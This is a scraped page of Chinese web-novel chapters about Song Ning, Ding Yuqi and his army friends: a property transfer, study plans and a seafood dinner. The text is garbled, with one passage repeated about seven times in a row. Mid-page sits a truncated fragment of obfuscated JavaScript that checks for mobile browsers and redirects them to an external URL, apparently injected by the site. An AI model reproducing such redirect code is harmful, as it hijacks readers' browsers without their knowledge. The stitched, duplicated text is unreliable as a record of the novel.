老王总气得直骂脏话:“丁家这三兄弟,老大果决老二阴狠,都说老三脾气好,其实就是个笑面虎!比他那两个哥哥难缠多了!臭小子惹谁不好,惹到他老婆,被他记恨上了准没好事儿!” 秘书劝说道:“他应该是个有分寸的,不会出去乱嚷嚷。” “我倒是不担心他嚷嚷,我只是担心… …” “担心小少爷?” 老王总头疼:“这家伙手黑心狠,不得不防。” “可是我看他的样子,应该不至于吧?” “呵呵,你是没见过当年他跟他亲爹斗法,陈老爷子出面都没用。” 秘书倒吸了一口凉气,想起当年那件事,明显也有些心有余悸。 老王总说:“反正这家伙不是个好相与的,自己亲爹下起手来都毫不留情,以后还是留意着点。对了,他那个老婆以后也让人多留意,千万别惹。” 秘书连连点头。 这个丁三太太可是能让陈老爷子另眼相待的。 今天就为了一个道歉,丁予期都能不依不饶地追到森和来。 一个大魔王一个小魔王都是她的**,谁敢惹? …… 另一边,宋凝捧着一兜橘子有些不知所措。 丁予期从里面挑了一个出来,慢悠悠地剥着皮。 宋凝:“你喜欢吃橘子?” “一般。” “我看你今天一直在吃,真有那么好吃?” 她是南城人,出蜜橘的地方。 森和的橘子她觉得很一般。 丁予期挑眉:“你不是喜欢吃?” “我也没有特别喜欢,小时候吃太多了,有点吃腻了。” 丁予期往嘴里扔了一片:“可是我记得你以前挺喜欢的,每次去都能看到果盘里的橘子,还都是剥好的。” “那是傅东擎喜欢……” 宋凝闭了嘴。 丁予期呵呵笑了一下:“原来你是给他买的,还给他剥好装盘,插上小叉子。” 傅东擎爱吃橘子。 但是他不爱剥,而且还不爱吃橘子上面的白色橘络。 每次都是宋凝给他剥好,去掉橘络,插上小叉子他才肯吃。 不过想想,那也已经久远的好像是上辈子的事了。 “你爱吃什么水果?” “唔,西瓜吧。” “那一会儿回去我去厨房给你弄一盘切好的西瓜送去64楼。” 丁予期勾唇,嘴上却说:“方便吗,不方便就算了。” 宋凝:“不方便。” 丁予期立马幽怨地看着她。 宋凝往他嘴里塞了几片橘子:“先吃点橘子凑合凑合,回去给你弄。” “我其实不爱吃橘子。” “都剥开了,不吃浪费。” …” “担心小少爷?” 老王总头疼:“这家伙手黑心狠,不得不防。” “可是我看他的样子,应该不至于吧?” “呵呵,你是没见过当年他跟他亲爹斗法,陈老爷子出面都没用。” 秘书倒吸了一口凉气,想起当年那件事,明显也有些心有余悸。 老王总说:“反正这家伙不是个好相与的,自己亲爹下起手来都毫不留情,以后还是留意着点。对了,他那个老婆以后也让人多留意,千万别惹。” 秘书连连点头。 这个丁三太太可是能让陈老爷子另眼相待的。 今天就为了一个道歉,丁予期都能不依不饶地追到森和来。 一个大魔王一个小魔王都是她的**,谁敢惹? …… 另一边,宋凝捧着一兜橘子有些不知所措。 丁予期从里面挑了一个出来,慢悠悠地剥着皮。 宋凝:“你喜欢吃橘子?” “一般。” “我看你今天一直在吃,真有那么好吃?” 她是南城人,出蜜橘的地方。 森和的橘子她觉得很一般。 丁予期挑眉:“你不是喜欢吃?” “我也没有特别喜欢,小时候吃太多了,有点吃腻了。” 丁予期往嘴里扔了一片:“可是我记得你以前挺喜欢的,每次去都能看到果盘里的橘子,还都是剥好的。” “那是傅东擎喜欢……” 宋凝闭了嘴。 丁予期呵呵笑了一下:“原来你是给他买的,还给他剥好装盘,插上小叉子。” 傅东擎爱吃橘子。 但是他不爱剥,而且还不爱吃橘子上面的白色橘络。 每次都是宋凝给他剥好,去掉橘络,插上小叉子他才肯吃。 不过想想,那也已经久远的好像是上辈子的事了。 “你爱吃什么水果?” “唔,西瓜吧。” “那一会儿回去我去厨房给你弄一盘切好的西瓜送去64楼。” 丁予期勾唇,嘴上却说:“方便吗,不方便就算了。” 宋凝:“不方便。” 丁予期立马幽怨地看着她。 宋凝往他嘴里塞了几片橘子:“先吃点橘子凑合凑合,回去给你弄。” “我其实不爱吃橘子。” “都剥开了,不吃浪费。” …” “担心小少爷?” 老王总头疼:“这家伙手黑心狠,不得不防。” “可是我看他的样子,应该不至于吧?” “呵呵,你是没见过当年他跟他亲爹斗法,陈老爷子出面都没用。” 秘书倒吸了一口凉气,想起当年那件事,明显也有些心有余悸。 老王总说:“反正这家伙不是个好相与的,自己亲爹下起手来都毫不留情,以后还是留意着点。对了,他那个老婆以后也让人多留意,千万别惹。” 秘书连连点头。 这个丁三太太可是能让陈老爷子另眼相待的。 今天就为了一个道歉,丁予期都能不依不饶地追到森和来。 一个大魔王一个小魔王都是她的**,谁敢惹? …… 另一边,宋凝捧着一兜橘子有些不知所措。 丁予期从里面挑了一个出来,慢悠悠地剥着皮。 宋凝:“你喜欢吃橘子?” “一般。” “我看你今天一直在吃,真有那么好吃?” 她是南城人,出蜜橘的地方。 森和的橘子她觉得很一般。 丁予期挑眉:“你不是喜欢吃?” “我也没有特别喜欢,小时候吃太多了,有点吃腻了。” 丁予期往嘴里扔了一片:“可是我记得你以前挺喜欢的,每次去都能看到果盘里的橘子,还都是剥好的。” “那是傅东擎喜欢……” 宋凝闭了嘴。 丁予期呵呵笑了一下:“原来你是给他买的,还给他剥好装盘,插上小叉子。” 傅东擎爱吃橘子。 但是他不爱剥,而且还不爱吃橘子上面的白色橘络。 每次都是宋凝给他剥好,去掉橘络,插上小叉子他才肯吃。 不过想想,那也已经久远的好像是上辈子的事了。 “你爱吃什么水果?” “唔,西瓜吧。” “那一会儿回去我去厨房给你弄一盘切好的西瓜送去64楼。” 丁予期勾唇,嘴上却说:“方便吗,不方便就算了。” 宋凝:“不方便。” 丁予期立马幽怨地看着她。 宋凝往他嘴里塞了几片橘子:“先吃点橘子凑合凑合,回去给你弄。” “我其实不爱吃橘子。” “都剥开了,不吃浪费。” …” “担心小少爷?” 老王总头疼:“这家伙手黑心狠,不得不防。” “可是我看他的样子,应该不至于吧?” “呵呵,你是没见过当年他跟他亲爹斗法,陈老爷子出面都没用。” 秘书倒吸了一口凉气,想起当年那件事,明显也有些心有余悸。 老王总说:“反正这家伙不是个好相与的,自己亲爹下起手来都毫不留情,以后还是留意着点。对了,他那个老婆以后也让人多留意,千万别惹。” 秘书连连点头。 这个丁三太太可是能让陈老爷子另眼相待的。 今天就为了一个道歉,丁予期都能不依不饶地追到森和来。 一个大魔王一个小魔王都是她的**,谁敢惹? …… 另一边,宋凝捧着一兜橘子有些不知所措。 丁予期从里面挑了一个出来,慢悠悠地剥着皮。 宋凝:“你喜欢吃橘子?” “一般。” “我看你今天一直在吃,真有那么好吃?” 她是南城人,出蜜橘的地方。 森和的橘子她觉得很一般。 丁予期挑眉:“你不是喜欢吃?” “我也没有特别喜欢,小时候吃太多了,有点吃腻了。” 丁予期往嘴里扔了一片:“可是我记得你以前挺喜欢的,每次去都能看到果盘里的橘子,还都是剥好的。” “那是傅东擎喜欢……” 宋凝闭了嘴。 丁予期呵呵笑了一下:“原来你是给他买的,还给他剥好装盘,插上小叉子。” 傅东擎爱吃橘子。 但是他不爱剥,而且还不爱吃橘子上面的白色橘络。 每次都是宋凝给他剥好,去掉橘络,插上小叉子他才肯吃。 不过想想,那也已经久远的好像是上辈子的事了。 “你爱吃什么水果?” “唔,西瓜吧。” “那一会儿回去我去厨房给你弄一盘切好的西瓜送去64楼。” 丁予期勾唇,嘴上却说:“方便吗,不方便就算了。” 宋凝:“不方便。” 丁予期立马幽怨地看着她。 宋凝往他嘴里塞了几片橘子:“先吃点橘子凑合凑合,回去给你弄。” “我其实不爱吃橘子。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009305|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “都剥开了,不吃浪费。” …” “担心小少爷?” 老王总头疼:“这家伙手黑心狠,不得不防。” “可是我看他的样子,应该不至于吧?” “呵呵,你是没见过当年他跟他亲爹斗法,陈老爷子出面都没用。” 秘书倒吸了一口凉气,想起当年那件事,明显也有些心有余悸。 老王总说:“反正这家伙不是个好相与的,自己亲爹下起手来都毫不留情,以后还是留意着点。对了,他那个老婆以后也让人多留意,千万别惹。” 秘书连连点头。 这个丁三太太可是能让陈老爷子另眼相待的。 今天就为了一个道歉,丁予期都能不依不饶地追到森和来。 一个大魔王一个小魔王都是她的**,谁敢惹? …… 另一边,宋凝捧着一兜橘子有些不知所措。 丁予期从里面挑了一个出来,慢悠悠地剥着皮。 宋凝:“你喜欢吃橘子?” “一般。” “我看你今天一直在吃,真有那么好吃?” 她是南城人,出蜜橘的地方。 森和的橘子她觉得很一般。 丁予期挑眉:“你不是喜欢吃?” “我也没有特别喜欢,小时候吃太多了,有点吃腻了。” 丁予期往嘴里扔了一片:“可是我记得你以前挺喜欢的,每次去都能看到果盘里的橘子,还都是剥好的。” “那是傅东擎喜欢……” 宋凝闭了嘴。 丁予期呵呵笑了一下:“原来你是给他买的,还给他剥好装盘,插上小叉子。” 傅东擎爱吃橘子。 但是他不爱剥,而且还不爱吃橘子上面的白色橘络。 每次都是宋凝给他剥好,去掉橘络,插上小叉子他才肯吃。 不过想想,那也已经久远的好像是上辈子的事了。 “你爱吃什么水果?” “唔,西瓜吧。” “那一会儿回去我去厨房给你弄一盘切好的西瓜送去64楼。” 丁予期勾唇,嘴上却说:“方便吗,不方便就算了。” 宋凝:“不方便。” 丁予期立马幽怨地看着她。 宋凝往他嘴里塞了几片橘子:“先吃点橘子凑合凑合,回去给你弄。” “我其实不爱吃橘子。” “都剥开了,不吃浪费。” …” “担心小少爷?” 老王总头疼:“这家伙手黑心狠,不得不防。” “可是我看他的样子,应该不至于吧?” “呵呵,你是没见过当年他跟他亲爹斗法,陈老爷子出面都没用。” 秘书倒吸了一口凉气,想起当年那件事,明显也有些心有余悸。 老王总说:“反正这家伙不是个好相与的,自己亲爹下起手来都毫不留情,以后还是留意着点。对了,他那个老婆以后也让人多留意,千万别惹。” 秘书连连点头。 这个丁三太太可是能让陈老爷子另眼相待的。 今天就为了一个道歉,丁予期都能不依不饶地追到森和来。 一个大魔王一个小魔王都是她的**,谁敢惹? …… 另一边,宋凝捧着一兜橘子有些不知所措。 丁予期从里面挑了一个出来,慢悠悠地剥着皮。 宋凝:“你喜欢吃橘子?” “一般。” “我看你今天一直在吃,真有那么好吃?” 她是南城人,出蜜橘的地方。 森和的橘子她觉得很一般。 丁予期挑眉:“你不是喜欢吃?” “我也没有特别喜欢,小时候吃太多了,有点吃腻了。” 丁予期往嘴里扔了一片:“可是我记得你以前挺喜欢的,每次去都能看到果盘里的橘子,还都是剥好的。” “那是傅东擎喜欢……” 宋凝闭了嘴。 丁予期呵呵笑了一下:“原来你是给他买的,还给他剥好装盘,插上小叉子。” 傅东擎爱吃橘子。 但是他不爱剥,而且还不爱吃橘子上面的白色橘络。 每次都是宋凝给他剥好,去掉橘络,插上小叉子他才肯吃。 不过想想,那也已经久远的好像是上辈子的事了。 “你爱吃什么水果?” “唔,西瓜吧。” “那一会儿回去我去厨房给你弄一盘切好的西瓜送去64楼。” 丁予期勾唇,嘴上却说:“方便吗,不方便就算了。” 宋凝:“不方便。” 丁予期立马幽怨地看着她。 宋凝往他嘴里塞了几片橘子:“先吃点橘子凑合凑合,回去给你弄。” “我其实不爱吃橘子。” “都剥开了,不吃浪费。” …” “担心小少爷?” 老王总头疼:“这家伙手黑心狠,不得不防。” “可是我看他的样子,应该不至于吧?” “呵呵,你是没见过当年他跟他亲爹斗法,陈老爷子出面都没用。” 秘书倒吸了一口凉气,想起当年那件事,明显也有些心有余悸。 老王总说:“反正这家伙不是个好相与的,自己亲爹下起手来都毫不留情,以后还是留意着点。对了,他那个老婆以后也让人多留意,千万别惹。” 秘书连连点头。 这个丁三太太可是能让陈老爷子另眼相待的。 今天就为了一个道歉,丁予期都能不依不饶地追到森和来。 一个大魔王一个小魔王都是她的**,谁敢惹? …… 另一边,宋凝捧着一兜橘子有些不知所措。 丁予期从里面挑了一个出来,慢悠悠地剥着皮。 宋凝:“你喜欢吃橘子?” “一般。” “我看你今天一直在吃,真有那么好吃?” 她是南城人,出蜜橘的地方。 森和的橘子她觉得很一般。 丁予期挑眉:“你不是喜欢吃?” “我也没有特别喜欢,小时候吃太多了,有点吃腻了。” 丁予期往嘴里扔了一片:“可是我记得你以前挺喜欢的,每次去都能看到果盘里的橘子,还都是剥好的。” “那是傅东擎喜欢……” 宋凝闭了嘴。 丁予期呵呵笑了一下:“原来你是给他买的,还给他剥好装盘,插上小叉子。” 傅东擎爱吃橘子。 但是他不爱剥,而且还不爱吃橘子上面的白色橘络。 每次都是宋凝给他剥好,去掉橘络,插上小叉子他才肯吃。 不过想想,那也已经久远的好像是上辈子的事了。 “你爱吃什么水果?” “唔,西瓜吧。” “那一会儿回去我去厨房给你弄一盘切好的西瓜送去64楼。” 丁予期勾唇,嘴上却说:“方便吗,不方便就算了。” 宋凝:“不方便。” 丁予期立马幽怨地看着她。 宋凝往他嘴里塞了几片橘子:“先吃点橘子凑合凑合,回去给你弄。” “我其实不爱吃橘子。” “都剥开了,不吃浪费。” 第一百二十六章 名分这个东西,还是得确认好 瑞贝卡不懂。 丁予期敛住眉目,表情有些微微地遗憾:“你见过动物园里的豹子么?” 瑞贝卡点了点头。 “宋凝就是。” “我还是不太懂。” 丁予期轻笑:“本应该驰骋在荒原上的猛兽,被人困在笼子里,虽然每天都有肉吃,但那并不是属于她的地方。” 瑞贝卡表情有些微妙:“宋经理……有那么凶猛吗?” “敢当众泼学长一脸尿,你觉得她能是什么温顺的小白 兔?” 瑞贝卡似乎也想起了什么,微微笑开:“的确。” 丁予期脸上有些自豪地神色,“你看她平时跟我斗嘴的时候,什么时候服过输?反倒是这些年跟傅东擎在一起的时候,总是瞻前顾后,想扮演一个好太太,她都快把自己的棱角磨平了。” 正说着,楼下草坪里,傅学森和蒋秀兰带着林澜出现在那里。 两个人正在跟林澜说了些什么,林澜没说话。 反而是林澜又跟他们说了一些东西之后,这对老夫妻听了连连点头。 瑞贝卡略有些嘲讽地说:“有时候我真的怀疑,这两个人这么轻易就被林澜收的服服帖帖,到底是怎么创下那么大的家业?” “只要是站在风口上,就是头猪也能飞上天。” “唔,也是。” “还有,”丁予期微微勾起唇角:“林澜也没有你想的那么简单。” 瑞贝卡眨了眨眼:“可是林澜不就是一个普通的珠宝店员?” “是,也不是。” …… 宋凝的东西其实并不算太多。 而且她觉得自己也只是暂住,等傅东擎一家离开了,她还得搬回去,所以就没带太多东西,只拿了一些日用品和简单的换洗衣服。 她到64楼的时候,丁予期正在书房,似乎正在开视频会议。 她自顾自地去了客房,整理了一下。 三只好大儿一直在她脚边蹭蹭求摸,宋凝重新铺好了床,挨个在三个狗脑袋上揉了一把:“你们刚溜溜回来,脚脚上还有泥巴,不准跳上床知道没?” 狗子不懂妈妈说了什么,只是一味撒娇。 等她出去的时候,丁予期正在厨房里倒水喝。 她问:“你开完会了?” 丁予期:“开什么会?” “我刚刚看到你在书房……” “我人都在酒店里,要开会让高管们集合就行了,还用开视频?” “那你刚刚在干嘛?” “正好,你跟我来。” 宋凝不明所以,跟着丁予期进了他的书房。 电脑屏幕上似乎确实是视频直播,但是地点貌似是……行政办事大厅? 老姚的脸突然出现在了视频里。 他看到宋凝,似乎并没有很惊讶,还挥了挥手亮出一口白牙:“嫂子,你来啦!” ……嫂子? 之前不是还叫弟妹的么。 怎么突然升辈分了。 丁予期端着一杯咖啡,轻轻按着她在自己原本的位置上坐下,“一会儿需要你扫个脸。” 宋凝:“?” 老姚说:“哈哈哈哈哈,嫂子,我们几个来履行赌约了。房子,车子,还有我的射击场,今天全都过户给你。” 宋凝惊了:“来真的啊?” 丁予期:“给你你就拿着。” “不是,我以后估计也不会回去H市常住了,要房子车子有什么用?而且射击场,我也不会经营啊,放我手里不是暴殄天物么。” 丁予期说:“房子和车子不想要可以卖了,至于射击场……我会安排人帮你打理射击场。” “谁?” “老姚。” 宋凝:“……” 这是不是有点太不厚道了。 抢人家射击场,还让人家打工。 老姚看起来却很开心:“放心吧嫂子,丁儿也没让我们吃亏,嘿嘿嘿。” 不远处,萝卜扬声喊了一句:“老姚,赶紧过来!” “来了来了!” 老姚带着手机跑了过去,工作人员查看了一下过户合同,然后按照流程,问了宋凝几个问题,随后扫了一下脸。 手续就办完了。 老姚拿着新鲜出炉的红本本秀给她看:“嫂子,你看,这里所有人的名字已经变成你了。” 宋凝看了一会儿,“也就是说,这个射击场以后是我一个人的了?” “对呀!嘿嘿!” “也不是,”丁予期抿了一口咖啡:“鉴于你是婚后获得的财产,所以虽然证上面没有我,但按照法律,我也有一半产权。” 宋凝“……” 萝卜把手机抢了过去,吐槽道:“丁儿你还是不是男人,跟自己老婆抢东西?” “这不是抢,”丁予期微笑:“名分这个东西,还是得确认好。” “行行行,知道你转正上位了……妈的这小子又秀恩爱……” 老姚冷笑着说:“你等着,晚上我们就到S市了,到时候揍得你满地找牙!” 丁予期挑眉:“你确定你打得过?” “我们三打一还能打不过?!” 丁予期思索了一下:“也行,反正我被打伤了有人给我擦药,你们几个……抱团取暖吧。” “靠!兄弟们,丁儿染上了秀恩爱的恶习,必须得狠狠教训一下了!” 萝卜冲着镜头活动了一下手腕:“你小子等着!” 大拿慢悠悠地从远处走了过来,还是那副冷冰冰的表情,“我觉得你们两个还是不要惹他的好。” 老姚不服气,用鼻孔哼出一声:“怎么,他还能去跟他外公告状去啊?” 大拿:“你们忘了隔壁连队的老冯。” 这话一出,几个人的脸色顿时变了。 老姚浑身抖了抖,萝卜则是皱着眉揉了揉鼻子,再也没有说话了。 丁予期还是微微笑着:“行了,赶紧去机场吧,晚上见。” 其他两个人都跑远了,只有大拿心平气和地跟他说:“好的,晚上见。” 挂了视频,宋凝问了一句:“老冯是谁?你外公的部下吗?” “算是吧,不过我外公应该不认识他。” “你到底对人家做了什么?一提起来老姚和萝卜都吓的不敢说话了。” 丁予期微微俯下身,用小臂撑在桌子上,好整以暇地看着她:“你真想知道?” “……不能问吗?” “问是能问,”丁予期又抿了一口咖啡:“但我觉得你还是吃完晚饭再问比较好。” 第一百二十七章 晚上江边风大,穿上 这样的姿势,宋凝感觉自己像是被他半圈着。 她腾的一下站了起来:“没我事的话,我先去忙了。” “你忙什么?” “工作啊。” “你今天下午不是请假了?” 对了,她请了一下午假。 东西其实并没有多少,早知道她就不请假了,晚上下班的时候把东西拿上来就好了。 “那我去瑞贝卡,跟着她多学习学习。” 丁予期又把他按回了椅子上坐着:“别去了,我还有其他任务交给你。” “什么任务?” 丁予期用眼神点了点她左手边放着的一个牛皮纸袋。 宋凝狐疑地拆开了包装,把里面的东西拿了出来——厚厚的三大本书。 前两本她姑且还能懂,丁予期的意思是让她从理论开始学起,对酒店管理打个基础。 可《红楼梦》是怎么回事? 宋凝猜测道:“培养我的耐心?” 众所周知,红楼梦的故事细致绵长,人物众多关系复杂,没点耐心还真看不下来。 而跟酒店的客人打交道,最重要的也是耐心。 丁予期却故作高深地摇了摇头:“给你解闷用的。” “你确定这本书真能解闷儿?” 真要解闷的话,还不如给她买一本西游记。 丁予期却说:“你看慢慢看着,以后你就明白了。” 宋凝不理解。 但也没法反驳什么。 至少前两本书是真的有用。 丁予期说:“这段时间你都住在64楼,下班了就好好看书,有什么不懂的直接问我。” 宋凝想着这样也好。 总比下班回来两个人相对无言不知道聊什么的尴尬要好。 看他这个样子,丽晶酒店应该以后是会交给她的,那她现在多学习 总不是坏事。 宋凝突然想起一件事:“对了,老姚他们要过来S市么?” “嗯,现在在去机场的路上了。” “来旅游?” “来干活。” “……什么活儿?” “当保镖。” “给你?” 丁予期指了指她的肩膀:“给你。” “我?”宋凝反应过来了:“你是怕傅东擎他……” “傅东擎我倒是不怕,你这个倔驴性格,一旦做了决定,九匹马都拉不回。但是傅学森和蒋秀兰也一起来了,就不得不防。” 宋凝思索了一下,说:“我尽量少跟他们接触就行,应付过去这段时间就ok。” “还是有备无患的好。” 宋凝想起上一次,也是在卫斯理酒店。 傅学森以爸爸的酒店为诱饵,给她设了个圈套。 要不是丁予期一早提醒过她,恐怕她那一晚的经历要比唐婷还要惨痛。 宋凝皱眉冷笑:“我就是不明白了,傅学森到底对我多大仇多大怨啊?” 丁予期歪着头沉吟道:“可能是因为你占着那啥不那啥。” 宋凝:“……” 说到底,还是因为她不愿意太早生孩子闹的。 她突然警铃大作:“你家里不会催生吧?” 她跟丁予期只有一年之约,她不打算重蹈覆辙。 丁予期呵呵笑:“我上头还有两个哥哥顶着呢,怎么也催不到我头上来。” 宋凝默默松了口气。 下午的时候,她一直都在丁予期的书房里看书。 既然决定了要好好振兴丽晶酒店,她也要多努力才行。 其实事到如今,她也觉得有些感慨。 当初大学毕业没多久就嫁给了傅东擎,然后一直过着养尊处优的生活。 她也想去工作,或者去继续深造。 但傅东擎觉得,既然已经当了傅太太,就没必要再吃这个苦,好好在家里养养花遛遛狗就好。 因为这件事,他们两个也闹了几次小别扭。 但最后每次看到傅东擎在外面忙了一天,一身疲惫的回家,宋凝就有些心疼他。 他已经够累的了,自己也不想再为这种小事再跟他吵架。 久而久之,这件事就算是彻底搁置了。 结婚多年,她的作用就只是花房里姹紫嫣 红的玫瑰,还有雪球快乐活泼的半生。 现在想想,确实有些浪费光阴了。 一下午看书下来,宋凝觉得很充实,而且隐隐有种被知识狂轰乱炸的兴奋感。 光是读了前几章,她就发觉到爸爸以前的管理方法确实有很多bug。 墨守成规不善变通,以及过注重人情。 而后面一种,直接导致了他家破人亡。 人一旦陷入专注,时间就会过得非常的快。 当丁予期再次敲响书房门的时候,宋凝看了一眼时间,居然已经是晚上九点半了。 丁予期调侃她:“刚刚看你那股认真劲儿,真怕你直接把书给吃了。” 宋凝不以为然:“书中自有黄金屋,书中自有颜如玉。” “知道尤二姐怎么死的吗?” “红楼梦里那个?”宋凝摇了摇头:“我还没看,怎么死的?” “吞金自杀。” “?” “黄金屋吃不得。” “……” “颜如玉也吃不得,吃人犯法。” “……” “故意杀人罪和侮辱尸体罪,数罪并罚,多半都是个死立执。” 宋凝:“呵呵,今晚不用开空调了,好冷。” 丁予期轻轻拍了拍她的肩膀:“饭能吃,走吧,带你去吃饭。” 宋凝本以为丁予期会带她去酒店餐厅。 可是他却直接按下了负二层。 在地下车库取了车,带她出门了。 “……这么晚了还要出去吃?” 丁予期一边开车,一边把一件外套递给她:“晚上江边风大,穿上。” 一件女士针织外套。 大小正合适。 不是她买的。 “上次看到了,觉得这件衣服挺适合你的,就买来放在车里,以备不时之需。” 宋凝迟疑着点了点头,穿上了:“为什么要去江边?” 丁予期揉了揉额角,颇有些无奈的意思:“老姚他们定的地方,说是要狠狠宰我一顿。” 宋凝忍俊不禁。 到了地方之后,停好车,两人进了一家海鲜餐馆。 一见他们出现,老姚立马怪叫了两声:“你们可算来了!怎么,光顾着甜蜜了,让我们一顿好等!” 丁予期帮宋凝拉开椅子,见她坐稳了,才拉开旁边的椅子,在她身边坐下:“不让你们白等,今天随便点。” 萝卜也兴奋起来,直接开始苍蝇搓手:“虽然知道以你的身家,估计也宰不痛你。但是能狠狠放你点血也行啊,我可不会手下留情的哟!” 大拿却问出了一个重要问题:“以这小子的阴狠个性,肯乖乖让我们宰?别是还留着什么后手吧?” 丁予期一脸无辜:“别把我说的像是曹操行不行?” 萝卜嘿嘿笑了两声:“你不是谁是?” 说着,他斜着眼睛给宋凝使了个眼色:“嫂子,你看那个包厢里的人是谁?” 第一百二十八章 这样比较有效率 宋凝偏头看了看,发现包厢里的赫然是傅东擎和林澜。 没有傅家二老,只有两个人。 还是窗边的情侣座位,一览无遗的江景。 萝卜皮笑肉不笑:“这家伙一副情深似海的样子,回头就带着妹子出来约会。嫂子,你离婚真是百分之百正确。” 宋凝有些迟疑。 她直接看向了丁予期:“选在这里吃饭,就是为了让我看到他和林澜单独约会?” 老姚抢先一步说道:“嫂子,这你可冤枉丁儿了,他这个人的确是心眼子多,但今天我们的确是偶遇的。我选了这里本来就是不求最好吃,但求最奢靡,谁知道一转头就看到了他们两个。” 萝卜补充道:“嫂子,我刚问了,那个位置是要提前三天预定的,肯定不是临时起意随便找了个店进来吃饭。” 宋凝觉得有些无聊:“管他们做什么,菜单呢?点菜吧。” 丁予期问了一句:“要是不喜欢这里的话,我们可以换个餐厅。” “不用,”宋凝说:“他只是预定了那个座位,又不是包下了整个餐厅,凭什么他能吃我们不能吃?” 她招手叫来了服务员。 今天说好的是给老姚他们几个接风,于是宋凝把菜单递到了老姚面前:“你们点。” 老姚慢悠悠的翻着菜单本,小心翼翼地问了一句:“丁儿,真能随便点?” 丁予期歪了歪头:“嗯,点你的。” “你确定你卡里的钱够付账单?” “你在质疑我?” “不是不是,”老姚嘿嘿笑:“我是在质疑你的夫纲能不能振一下。” “什么意思?” “我需要先确认一下,你的银行卡是不是已经上交给嫂子了,这决定了以后我到底巴结谁。” 丁予期看向她:“要上交吗?” 宋凝刚喝了一口水,直接哽住了,不上也不下的:“……不用了吧。” 丁予期转头看向老姚:“看到了吗?夫纲很振。” 宋凝:这跟夫纲有什么关系啊喂! 宋凝淡淡吐槽:“我只是惧怕你丁律的威名,反手告我一个财务侵占什么的。” 丁予期挑眉:“原则上,我的财产现在也有你的一半。你就算是现在爬出去到浦江大桥上撒钱,应该也能洒个十天半个月的,暂时侵占不到属于我的那一份财产。” 老姚露出了一个嫌弃的表情:“丁儿啊,浦江的水到底是什么做的啊,怎么你才回来几天就变得这么讨人厌了。” “我怎么了?” “在秀恩爱和秀富之间,你选择了双面秀。” 丁予期含笑:“过奖,这样比较有效率。” “我没有在夸你啊!!!” “不夸我不买单。” 老姚立刻堆上了满脸笑意:“你真棒!” 丁予期满意地点了点头。 宋凝在一旁看着,轻轻对老姚做了个手势:“你们不都是军人出身,怎么能这么见风使舵墙头草呢?一点点金钱诱惑就腐蚀了你们高尚的无产阶级战士的信仰?” “嫂子啊,这你就不懂了,”老姚一脸苦相:“飞机餐难吃死了,我们都已经饿了一天了。无产阶级战士也需要吃饭啊!” 宋凝也只是逗逗他,拍了拍菜单:“好啦,快点吧。” 老姚啪地一声,直接把菜单合上了,还给了服务员:“炒一本。” 服务员瞪大了眼睛:“先生,您说什么?” “我说,炒一本。” 大拿慢悠悠地解释道:“他的意思是,这个菜谱上所有的菜,每样都上一份。” 服务员怔忪了好半天,“啊?” 老姚站起来,重重拍了拍丁予期的肩膀:“别怕妹妹,就这么上,有人买单。” “不是不是,我的意思是,我们餐厅一共几百样菜式呢,你们只有五个人,可能吃不完吧?” “吃不完我们打包呀,家里还有三个嗷嗷待哺的大侄子呢,他们绝对能干完!” 服务员莫名其妙地去下单了。 萝卜噗嗤一声笑了:“咱们呢三个好大侄儿,今天也是有口福喽!” 老姚直接哐哐哐倒了四杯酒:“来,庆祝我们星城四侠正式合体,走一个!” 宋凝:“……星城四侠?” 都什么年代了,还取这种绰号。 老姚连连点头:“以前丁儿跟着他外公的部队历练,驻扎地就在星城。” 宋凝突然来了点兴趣:“你们在驻地里面都干什么?踢正步,打军体拳,还干什么?” “害,提起这个我可得跟你说说……” “咳咳!”丁予期清了清嗓子:“先吃饭。” “怕什么?” “怕宋凝听了晚饭没胃口,她本身食量就小,再不吃饭恐怕就要羽化升仙了。” 老姚上下扫了一眼宋凝,心有戚戚焉:“也是,嫂子你太瘦了,再这么瘦下去手感就不好了。” 宋凝:“……” “不是,不是,我不是那么意思啊,我的意思是说,你再这么瘦下去,我怕你扛不住丁儿那股牛劲……” 丁予期:“……” 最后还是大拿一锤定音:“我倒觉得嫂子接受度挺强的。” 老姚问他:“你也就才见嫂子第二面,你怎么知道她接受度挺强的?” 大拿挑眉:“你们没发现吗?她每次都能跟丁儿互怼的有来有回还不吃瘪,你们谁能做到?” “嘶……” “这个嘛……” 老姚和萝卜一起沉默了。 大拿说:“现在和平年代,也没什么仗要打,我们连队在驻扎地除了日常的训练之外,主要任务就是——务农。” 宋凝:“种地?” 老姚一脸菜色:“不是……是畜牧业。” 宋凝:“放羊?” 萝卜咬了咬牙,压低了声音凑近了说:“担猪粪。” 宋凝差点一口水喷出去。 萝卜神秘兮兮地说:“连队里面,就我们四个担的最多。尤其是丁儿,他一个人能担五个人的量……唔!” 老姚立刻捂住了他的嘴。 萝卜呜呜呜地挣扎着,老姚直接一个锁喉:“丁儿好不容易娶个媳妇儿,少说点这种黑历史,跑了算谁的?” 宋凝却有些眼睛放光:“真的假的?” 萝卜把自己地脑袋从老姚手里拯救出来,也兴奋地回答了她:“当然是真的了!嫂子,我没想到你对担猪粪这么感兴趣啊?怎么,你也有一颗种田的心?” “……我主要是对丁总的黑历史感兴趣。” 第一百二十九章 我们丁儿,苦啊 “快说说,为什么他是担猪粪积极分子?” 萝卜笑的直拍大腿:“嫂子,你真是他亲媳妇儿啊,问到重点了。” “快说快说。” “他啊,丁家三少爷,他外公的亲外孙,把另外一个连队的倒霉蛋关在猪粪堆里一天一夜!那人出来的时候,嗅觉都快失灵了,哭的鼻涕眼泪都糊一起了哈哈哈哈哈哈!” 宋凝好像突然想起了一件事。 她试探地问道:“难道是……老冯?” 萝卜眨了眨眼:“丁儿跟你说了?” 丁予期淡淡地喝水:“还没有。” “那我说?” 丁予期做了个“请”的姿势。 他看着宋凝兴致勃勃的眼神,有些无奈的捏了捏额角。 本来还担心这种话题会让她吃不下饭呢。 没想到她还挺来劲。 